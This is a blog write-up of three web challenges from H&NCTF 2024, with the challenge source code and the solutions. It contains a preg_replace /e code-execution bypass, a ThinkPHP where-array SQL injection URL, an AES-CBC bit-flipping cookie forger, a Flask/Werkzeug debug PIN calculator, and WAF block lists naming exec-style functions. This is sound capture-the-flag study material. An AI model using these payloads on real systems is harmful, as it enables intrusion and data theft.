H&NCTF 2024 -web

web

Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";

var_dump(scandir('/');读目录
task=readfile($_POST[1])&flag=Please_give_me_flag&1=/flag

ez_tp

index在/App/Home/Controller/IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
//$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
header("Content-type:text/html;charset=utf-8");
echo '装起来了';
}
public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}

$name = I('GET.name');
$User = M("user");

if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

}
}

参考https://blog.csdn.net/kuuhh/article/details/119323156
这里是where数组+select()
方法是h_n
猜flag在flag表
/index.php/home/index/h_n?name[0]=exp&name[1]=='1'union select database(),flag from flag

flipPin

提示说debug没关,猜测flask算pin
拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

这里admin可以在/read路由读文件
cipher = AES.new(key, AES.MODE_CBC, iv)
AES-CBC字节反转攻击 获取session

1
2
3
4
5
6
7
8
9
10
import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:42281/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))
c[default_session.index("0")] ^= 1
sess = b64encode(c).decode()
print(sess)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def mac_to_decimal(mac_address):
# 将 MAC 地址分割成十六进制对
hex_pairs = mac_address.split(':')

# 初始化十进制数值
decimal_value = 0

# 将每个十六进制对转换为十进制并累加
for hex_pair in hex_pairs:
decimal_value = (decimal_value << 8) + int(hex_pair, 16)

return decimal_value

# 输入要转换的 MAC 地址
mac_address = "16:39:1f:24:7a:d4"

# 调用函数将 MAC 地址转换为十进制数值
decimal_value = mac_to_decimal(mac_address)

# 打印结果
print(decimal_value)

有过滤

1
2
3
4
5
6
7
8
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import hashlib
from itertools import chain

probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]

private_bits = [
'24434591431380', # /sys/class/net/eth0/address mac地址十进制
'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f8eccacfd1923c5826caa5353084cf0087f7bc57a4bfeaf1db91f0eb3916d57af'

# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup
#self过滤用1 代替 cgroup过滤了可以考虑mountinfo或者cpuset
# 有machine-id 那就拼接machine-id + /proc/self/cgroup 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup (name=systemd:)
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

/console进入debug
import os;os.environ


H&NCTF 2024 -web
http://example.com/2024/05/14/H&NCTF 2024/
作者
J_0k3r
发布于
2024年5月14日
许可协议
BY J_0K3R